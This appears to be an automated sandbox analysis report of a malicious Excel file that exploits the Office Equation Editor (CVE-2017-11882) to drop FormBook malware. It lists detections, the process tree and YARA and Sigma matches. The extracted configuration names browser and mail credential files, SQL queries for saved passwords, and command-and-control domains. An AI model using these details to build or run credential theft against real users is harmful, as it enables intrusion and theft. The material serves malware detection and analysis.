Play interactive tour

Edit tour

Analysis Report Agreement.xlsx

Overview

General Information

Sample Name:	Agreement.xlsx
Analysis ID:	345179
MD5:	199fa59c2168e232c33f2fe8809b78d0
SHA1:	cbf3e8aedfd33ee4a070eef60dfddb87009f5414
SHA256:	aae7b9ac8ddf709b9a6c1f841b90b8468d4a71eeb0fec6e30f1262b726e104ec
Tags:	VelvetSweatshopxlsx
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM_3

Yara detected FormBook

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2308 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2316 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2932 cmdline: 'C:\Users\Public\vbc.exe' MD5: F49E0B01E26E5E197421C4260DD87545)

vbc.exe (PID: 2492 cmdline: C:\Users\Public\vbc.exe MD5: F49E0B01E26E5E197421C4260DD87545)

explorer.exe (PID: 1388 cmdline: MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

wlanext.exe (PID: 2968 cmdline: C:\Windows\SysWOW64\wlanext.exe MD5: 6F44F5C0BC6B210FE5F5A1C8D899AD0A)

cmd.exe (PID: 2268 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"Config: ": ["CONFIG_PATTERNS 0x79d9", "KEY1_OFFSET 0x1bae5", "CONFIG SIZE : 0xaf", "CONFIG OFFSET 0x1bbe5", "URL SIZE : 21", "searching string pattern", "strings_offset 0x1a693", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x175102a1", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70a3", "0x9f715010", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad012168", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd015c9", "0x80b41d4", "0x4102ad8d", "0x857bf6a6", "0xd3ec6064", "0x23145fc4", "0xc026698f", "0x8f5385d8", "0x2430512b", "0x3ebe9086", "0x4c6fddb5", "0x276db13e", "0xe00f0a8e", "0x85cf9404", "0xb2248784", "0xcdc7e023", "0x11f5f50", "0x1dd4bc1c", "0x8235fce2", "0xc72ce2d5", "0x263178b", "0x57585356", "0x9cb95240", "0xcc39fef", "0x9347ac57", "0x9d9522dc", "0x911bc70e", "0x74443db9", "0xf04c1aa9", "0x6484bcb5", "0x11fc2f72", "0x2b44324f", "0x9d70beea", "0x59adf952", "0x172ac7b4", "0x5d4b4e66", "0xed297eae", "0xa88492a6", "0xb21b057c", "0x70f35767", "0xb6f4d5a8", "0x67cea859", "0xc1626bff", "0xb4e1ae2", "0x24a48dcf", "0xe11da208", "0x1c920818", "0x65f4449c", "0xc30bc050", "0x3e86e1fb", "0x9e01fc32", "0x216500c2", "0x48e207c9", "0x2decf13e", "0x19996921", "0xb7da3dd7", "0x47f39d2b", "0x6777e2de", "0xd980e37f", "0x963fea3b", "0xacddb7ea", "0x110aec35", "0x647331f3", "0x2e381da4", "0x50f66474", "0xec16e0c0", "0xf9d81a42", "0xd6c6f9db", "0xef3df91", "0x60e0e203", "0x7c81caaf", "0x71c2ec76", "0x25e431cc", "0x106f568f", "0x6a60c8a9", "0xb758aab3", "0x3b34de90", "0x700420f5", "0xee359a7e", "0xd1d808a", "0x47ba47a5", "0xff959c4c", "0x5d30a87d", "0xaa95a900", "0x80b19064", "0x9c5a481a", "0x1dd252d", "0xdb3055fc", "0xe0cf8bf1", "0x3a48eabc", "0xf0472f97", "0x4a6323de", "0x4260edca", "0x53f7fb4f", "0x3d2e9c99", "0xf6879235", "0xe6723cac", "0xe184dfaa", "0xe99ffaa0", "0xf6aebe25", "0xefadf9a5", "0x215de938", "0x757906aa", "0x84f8d766", "0xb6494f65", "0x13a75318", "0x5bde5587", "0xe9eba2a4", "0x6b8a0df3", "0x9c02f250", "0xe52a2a2e", "0xdb96173c", "0x3c0f2fc", "0xc30c49a6", "0xcb591d7f", "0x5c4ee455", "0x7c81c71d", "0x11c6f95e", "--------------------------------------------------", "Decrypted Strings", "--------------------------------------------------", "USERNAME", "LOCALAPPDATA", "USERPROFILE", "APPDATA", "TEMP", "ProgramFiles", "CommonProgramFiles", "ALLUSERSPROFILE", "/c copy \"", "/c del \"", "\\Run", "\\Policies", "\\Explorer", "\\Registry\\User", "\\Registry\\Machine", "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "Office\\15.0\\Outlook\\Profiles\\Outlook\\", " NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", "\\SOFTWARE\\Mozilla\\Mozilla ", "\\Mozilla", "Username: ", "Password: ", "formSubmitURL", "usernameField", "encryptedUsername", "encryptedPassword", "\\logins.json", "\\signons.sqlite", "\\Mail\\", "\\Foxmail", "\\Storage\\", "\\Accounts\\Account.rec0", "\\Data\\AccCfg\\Accounts.tdat", "\\Microsoft\\Vault\\", "SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins", "\\Google\\Chrome\\User Data\\Default\\Login Data", "SELECT origin_url, username_value, password_value FROM logins", ".exe", ".com", ".scr", ".pif", ".cmd", ".bat", "ms", "win", "gdi", "mfc", "vga", "igfx", "user", "help", "config", "update", "regsvc", "chkdsk", "systray", "audiodg", "certmgr", "autochk", "taskhost", "colorcpl", "services", "IconCache", "ThumbCache", "Cookies", "SeDebugPrivilege", "SeShutdownPrivilege", "\\BaseNamedObjects", "config.php", "POST ", " HTTP/1.1", "", "Host: ", "", "Connection: close", "", "Content-Length: ", "", "Cache-Control: no-cache", "", "Origin: http://", "", "User-Agent: Mozilla Firefox/4.0", "", "Content-Type: application/x-www-form-urlencoded", "", "Accept: */*", "", "Referer: http://", "", "Accept-Language: en-US", "", "Accept-Encoding: gzip, deflate", "", "dat=", "f-start", "fundamentaliemef.com", "gallerybrows.com", "leadeligey.com", "octoberx2.online", "climaxnovels.com", "gdsjgf.com", "curateherstories.com", "blacksailus.com", "yjpps.com", "gmobilet.com", "fcoins.club", "foreverlive2027.com", "healthyfifties.com", "wmarquezy.com", "housebulb.com", "thebabyfriendly.com", "primajayaintiperkasa.com", "learnplaychess.com", "chrisbubser.digital", "xn--avenr-wsa.com", "exlineinsurance.com", "thrivezi.com", "tuvandadayvitos24h.online", "illfingers.com", "usmedicarenow.com", "pandabutik.com", "engageautism.info", "magnabeautystyle.com", "texasdryroof.com", "woodlandpizzahartford.com", "dameadamea.com", "sedaskincare.com", "ruaysatu99.com", "mybestaide.com", "nikolaichan.com", "mrcabinetkitchenandbath.com", "ondemandbarbering.com", "activagebenefits.net", "srcsvcs.com", "cbrealvitalize.com", "ismaelworks.com", "medkomp.online", "ninasangtani.com", "h2oturkiye.com", "kolamart.com", "acdfr.com", "twistedtailgatesweeps1.com", "ramjamdee.com", "thedancehalo.com", "joeisono.com", "glasshouseroadtrip.com", "okcpp.com", "riggsfarmfenceservices.com", "mgg360.com", "xn--oi2b190cymc.com", "ctfocbdwholesale.com", "openspiers.com", "rumblingrambles.com", "thepoetrictedstudio.com", "magiclabs.media", "wellnesssensation.com", "lakegastonautoparts.com", "dealsonwheeeles.com", "semenboostplus.com", "f-end", "--------------------------------------------------", "Decrypted CnC URL", "--------------------------------------------------", "www.rizrvd.com/bw82/\u0000"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.2157316080.000000000239D000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x291518:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2918a2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2b8738:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2b8ac2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x29d5b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2c47d5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x29d0a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2c42c1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x29d6b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2c48d7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x29d82f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2c4a4f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2922ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x2b94da:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x29c31c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x2c353c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x293032:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2ba252:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2a26a7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2c98c7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2a374a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x29f5d9:$sqlite3step: 68 34 1C 7B E1 0x29f6ec:$sqlite3step: 68 34 1C 7B E1 0x2c67f9:$sqlite3step: 68 34 1C 7B E1 0x2c690c:$sqlite3step: 68 34 1C 7B E1 0x29f608:$sqlite3text: 68 38 2A 90 C5 0x29f72d:$sqlite3text: 68 38 2A 90 C5 0x2c6828:$sqlite3text: 68 38 2A 90 C5 0x2c694d:$sqlite3text: 68 38 2A 90 C5 0x29f61b:$sqlite3blob: 68 53 D8 7F 8C 0x29f743:$sqlite3blob: 68 53 D8 7F 8C 0x2c683b:$sqlite3blob: 68 53 D8 7F 8C 0x2c6963:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: vbc.exe PID: 2932	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.vbc.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158a9:$sqlite3step: 68 34 1C 7B E1 0x159bc:$sqlite3step: 68 34 1C 7B E1 0x158d8:$sqlite3text: 68 38 2A 90 C5 0x159fd:$sqlite3text: 68 38 2A 90 C5 0x158eb:$sqlite3blob: 68 53 D8 7F 8C 0x15a13:$sqlite3blob: 68 53 D8 7F 8C
5.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166a9:$sqlite3step: 68 34 1C 7B E1 0x167bc:$sqlite3step: 68 34 1C 7B E1 0x166d8:$sqlite3text: 68 38 2A 90 C5 0x167fd:$sqlite3text: 68 38 2A 90 C5 0x166eb:$sqlite3blob: 68 53 D8 7F 8C 0x16813:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2316, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2932

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 18.194.54.219, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2316, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2316, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe

Sigma detected: Executables Started in Suspicious Folder

Show sources

Source: Process started

Sigma detected: Execution in Non-Executable Folder

Show sources

Source: Process started

Sigma detected: Suspicious Program Location Process Starts

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 5.2.vbc.exe.400000.1.unpack

Malware Configuration Extractor: FormBook {"Config: ": ["CONFIG_PATTERNS 0x79d9", "KEY1_OFFSET 0x1bae5", "CONFIG SIZE : 0xaf", "CONFIG OFFSET 0x1bbe5", "URL SIZE : 21", "searching string pattern", "strings_offset 0x1a693", "searching hashes pattern", "--------------------------------------------------", "Decrypted Function Hashes", "--------------------------------------------------", "0x175102a1", "0xf43668a6", "0x980476e5", "0x35a6d50c", "0xf89290dc", "0x94261f57", "0x7d54c891", "0x47cb721", "0xf72d70a3", "0x9f715010", "0xbf0a5e41", "0x2902d074", "0xf653b199", "0xc8c42cc6", "0x2e1b7599", "0x210d4d07", "0x6d2a7921", "0x8ea85a2f", "0x207c50ff", "0xb967410a", "0x1eb17415", "0xb46802f8", "0x11da8518", "0xf42ed5c", "0x2885a3d3", "0x445675fa", "0x5c289b4c", "0x40ede5aa", "0xf24946a2", "0x8559c3e2", "0xb9d34d23", "0xa14d0a19", "0x2d07bbe2", "0xbbd1d68c", "0xb28c29d4", "0x3911edeb", "0xefad046d", "0xa0605497", "0xf5529cbf", "0x5507576a", "0xfa2467c8", "0x5b6423bf", "0xe22409b9", "0xde1eba2", "0xae847e2", "0xa8cfcc9", "0x26fc2c69", "0x5d8a75ac", "0x22eb3474", "0x2b37c918", "0x79402007", "0x7544791c", "0x641b2c94", "0x1db04ecf", "0xf5d02cd8", "0xad012168", "0x6206e716", "0x5e4b9b9a", "0xe4e2f5f4", "0x54c93159", "0x25ea79b", "0x5bf29119", "0xd6507db", "0x32ffc9f8", "0xe4cfab72", "0x98db5380", "0xce4cc542", "0x3092a0a2", "0x66053660", "0x2607a133", "0xfcd015c9", "0x80b41d4", 